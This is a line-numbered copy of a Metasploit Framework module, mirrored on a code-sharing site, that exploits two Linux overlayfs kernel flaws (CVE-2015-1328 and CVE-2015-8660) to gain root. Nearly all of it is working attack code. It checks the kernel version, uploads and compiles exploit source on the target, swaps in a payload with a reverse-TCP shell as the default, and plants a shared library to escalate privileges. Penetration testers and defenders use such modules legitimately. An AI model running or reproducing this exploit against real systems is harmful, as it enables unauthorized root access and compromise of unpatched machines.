Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/overlayfs_priv_esc.rb
21839 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GoodRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Overlayfs Privilege Escalation',
18
'Description' => %q{
19
This module attempts to exploit two different CVEs related to overlayfs.
20
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
21
3.16.0-25 (14.10 default) < 3.16.0-41
22
3.19.0-18 (15.04 default) < 3.19.0-21
23
CVE-2015-8660:
24
Ubuntu:
25
3.19.0-18 < 3.19.0-43
26
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
27
Fedora:
28
< 4.2.8 (vulnerable, un-tested)
29
Red Hat:
30
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'h00die <[email protected]>', # Module
35
'rebel' # Discovery
36
],
37
'DisclosureDate' => '2015-06-16',
38
'Platform' => [ 'linux'],
39
'Arch' => [ ARCH_X86, ARCH_X64 ],
40
'SessionTypes' => [ 'shell', 'meterpreter' ],
41
'Targets' => [
42
[ 'CVE-2015-1328', {} ],
43
[ 'CVE-2015-8660', {} ]
44
],
45
'DefaultTarget' => 1,
46
'DefaultOptions' => {
47
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
48
},
49
'References' => [
50
[ 'EDB', '39166'], # CVE-2015-8660
51
[ 'EDB', '37292'], # CVE-2015-1328
52
[ 'CVE', '2015-1328'],
53
[ 'CVE', '2015-8660']
54
],
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
register_options [
63
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
64
]
65
register_advanced_options [
66
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
67
]
68
end
69
70
def check
71
def mounts_exist?()
72
vprint_status('Checking if mount points exist')
73
if target.name == 'CVE-2015-1328'
74
if not directory?('/tmp/ns_sploit')
75
vprint_good('/tmp/ns_sploit not created')
76
return true
77
else
78
print_error('/tmp/ns_sploit directory exists. Please delete.')
79
return false
80
end
81
elsif target.name == 'CVE-2015-8660'
82
if not directory?('/tmp/haxhax')
83
vprint_good('/tmp/haxhax not created')
84
return true
85
else
86
print_error('/tmp/haxhax directory exists. Please delete.')
87
return false
88
end
89
end
90
end
91
92
def kernel_vuln?()
93
os_id = cmd_exec('grep ^ID= /etc/os-release')
94
case os_id
95
when 'ID=ubuntu'
96
kernel = Rex::Version.new(cmd_exec('/bin/uname -r'))
97
case kernel.release.to_s
98
when '3.13.0'
99
if kernel.between?(Rex::Version.new('3.13.0-24-generic'), Rex::Version.new('3.13.0-54-generic'))
100
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
101
return true
102
else
103
print_error("Kernel #{kernel} is NOT vulnerable")
104
return false
105
end
106
when '3.16.0'
107
if kernel.between?(Rex::Version.new('3.16.0-25-generic'), Rex::Version.new('3.16.0-40-generic'))
108
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
109
return true
110
else
111
print_error("Kernel #{kernel} is NOT vulnerable")
112
return false
113
end
114
when '3.19.0'
115
if kernel.between?(Rex::Version.new('3.19.0-18-generic'), Rex::Version.new('3.19.0-20-generic'))
116
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
117
return true
118
elsif kernel.between?(Rex::Version.new('3.19.0-18-generic'), Rex::Version.new('3.19.0-42-generic'))
119
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
120
return true
121
else
122
print_error("Kernel #{kernel} is NOT vulnerable")
123
return false
124
end
125
when '4.2.0'
126
if kernel.between?(Rex::Version.new('4.2.0-18-generic'), Rex::Version.new('4.2.0-22-generic'))
127
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
128
return true
129
else
130
print_error("Kernel #{kernel} is NOT vulnerable")
131
return false
132
end
133
else
134
print_error("Non-vuln kernel #{kernel}")
135
return false
136
end
137
when 'ID=fedora'
138
kernel = Rex::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
139
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
140
# => "4.0.4-301"
141
if kernel.release < Rex::Version.new('4.2.8')
142
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
143
return true
144
else
145
print_error("Non-vuln kernel #{kernel}")
146
return false
147
end
148
else
149
print_error("Unknown OS: #{os_id}")
150
return false
151
end
152
end
153
154
if mounts_exist?() && kernel_vuln?()
155
return CheckCode::Appears
156
else
157
return CheckCode::Safe
158
end
159
end
160
161
def exploit
162
if check != CheckCode::Appears
163
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
164
end
165
166
filename = rand_text_alphanumeric(8)
167
executable_path = "#{datastore['WritableDir']}/#{filename}"
168
payloadname = rand_text_alphanumeric(8)
169
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
170
171
def has_prereqs?()
172
gcc = cmd_exec('which gcc')
173
if gcc.include?('gcc')
174
vprint_good('gcc is installed')
175
else
176
print_error('gcc is not installed. Compiling will fail.')
177
end
178
return gcc.include?('gcc')
179
end
180
181
compile = false
182
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
183
if has_prereqs?()
184
compile = true
185
vprint_status('Live compiling exploit on system')
186
else
187
vprint_status('Dropping pre-compiled exploit on system')
188
end
189
end
190
if check != CheckCode::Appears
191
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
192
end
193
194
def upload_and_chmod(fname, fcontent, cleanup = true)
195
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
196
rm_f fname
197
write_file(fname, fcontent)
198
cmd_exec("chmod +x #{fname}")
199
if cleanup
200
register_file_for_cleanup(fname)
201
end
202
end
203
204
def on_new_session(session)
205
super
206
if target.name == 'CVE-2015-1328'
207
session.shell_command("/bin/su") # this doesnt work on meterpreter?????
208
# we cleanup here instead of earlier since we needed the /bin/su in our new session
209
session.shell_command('rm -f /etc/ld.so.preload')
210
session.shell_command('rm -f /tmp/ofs-lib.so')
211
end
212
end
213
214
if compile
215
begin
216
if target.name == 'CVE-2015-1328'
217
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
218
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
219
path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
220
fd = ::File.open(path, "rb")
221
cve_2015_1328 = fd.read(fd.stat.size)
222
fd.close
223
224
# pulled out from 1328.c's LIB define
225
path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
226
fd = ::File.open(path, "rb")
227
ofs_lib = fd.read(fd.stat.size)
228
fd.close
229
else
230
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
231
path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
232
fd = ::File.open(path, "rb")
233
cve_2015_8660 = fd.read(fd.stat.size)
234
fd.close
235
end
236
rescue
237
compile = false # hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
238
end
239
end
240
241
if compile
242
if target.name == 'CVE-2015-1328'
243
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
244
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
245
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
246
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
247
upload_and_chmod("#{ofs_path}.c", ofs_lib)
248
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
249
register_file_for_cleanup("#{ofs_path}.c")
250
else
251
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
252
"os.execl('#{payload_path}','#{payloadname}')")
253
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
254
end
255
vprint_status("Compiling #{executable_path}.c")
256
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
257
register_file_for_cleanup(executable_path)
258
else
259
if target.name == 'CVE-2015-1328'
260
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
261
fd = ::File.open(path, "rb")
262
cve_2015_1328 = fd.read(fd.stat.size)
263
fd.close
264
upload_and_chmod(executable_path, cve_2015_1328)
265
266
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
267
fd = ::File.open(path, "rb")
268
ofs_lib = fd.read(fd.stat.size)
269
fd.close
270
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
271
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
272
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
273
274
# overwrite with the hardcoded variable names in the compiled versions
275
payload_filename = 'lXqzVpYN'
276
payload_path = '/tmp/lXqzVpYN'
277
else
278
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
279
fd = ::File.open(path, "rb")
280
cve_2015_8660 = fd.read(fd.stat.size)
281
fd.close
282
upload_and_chmod(executable_path, cve_2015_8660)
283
# overwrite with the hardcoded variable names in the compiled versions
284
payload_filename = '1H0qLaq2'
285
payload_path = '/tmp/1H0qLaq2'
286
end
287
end
288
289
upload_and_chmod(payload_path, generate_payload_exe)
290
vprint_status('Exploiting...')
291
output = cmd_exec(executable_path)
292
output.each_line { |line| vprint_status(line.chomp) }
293
end
294
end
295
296